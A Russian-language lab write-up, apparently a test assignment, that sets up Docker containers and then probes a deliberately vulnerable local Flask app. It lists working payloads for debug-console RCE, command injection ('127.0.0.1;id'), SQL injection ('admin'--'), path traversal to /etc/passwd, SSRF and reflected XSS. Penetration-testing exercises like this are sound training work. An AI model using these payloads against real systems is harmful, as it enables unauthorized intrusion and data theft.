Задание 1
Мое окружение OS: Windows 11 Docker Desktop 4.74.0 Образ: winebrute/testcase1 (Ubuntu 24.04.3 LTS)
- Запуск контейнера
docker pull winebrute/testcase1
docker run -it winebrute/testcase1 /bin/bash- Создание пользователя
useradd -m -s /bin/bash testuser
passwd testuser- SSH
service ssh start
ssh testuser@localhostДля подключения с хост-машины контейнер запускается с пробросом порта:
docker run -it -p 2222:22 winebrute/testcase1 /bin/bashssh testuser@localhost -p 2222
Задание 2
Мое окружение
Windows 11, Docker Desktop 4.74.0
Запуск: docker run -p 5000:5000 winebrute/testcase2
Сервер: Flask / Werkzeug 3.1.3 / Python 3.9.24, debug mode on
Далее перебираем через ffuf:
ffuf -u http://localhost:5000/FUZZ -w common.txtи находим 8 эндпоинтов: /admin, /console, /fetch, /help, /login, /ping, /readfile, /search.

Теперь об уязвимостях:
- RCE - Werkzeug Debug Console
Приложение запущено с
debug=True, консоль/consoleоткрыта публично. PIN-код виден в stdout контейнера:114-684-599. После ввода PIN выполняется произвольный Python-код:
__import__('os').popen('id').read()
# uid=0(root) gid=0(root) groups=0(root)- Command Injection
/pingконкатенирует параметрhostв системный вызов без санитизации:
GET /ping?host=127.0.0.1;id
→ uid=0(root) gid=0(root) groups=0(root)
- SQL Injection
/loginуязвим к инъекции в полеusername:
POST /login
username=admin'--&password=anything
Welcome admin! Admin: True
- Path Traversal
/readfileпропускает../без фильтрации: GET /readfile?filename=../../../../etc/passwd
This is a test file
-
SSRF
/fetchвыполняет запрос по произвольному URL: GET /fetch?url=http://127.0.0.1:5000/admin Fetched: Invalid token: Not enough segments
-
Reflected XSS
/searchотражает ввод в HTML без экранирования:
Search Results for: test' OR '1'='1- Information Disclosure
Заголовок
Server: Werkzeug/3.1.3 Python/3.9.24раскрывает стек PIN отладчика в stdout Полные стек-трейсы при ошибках





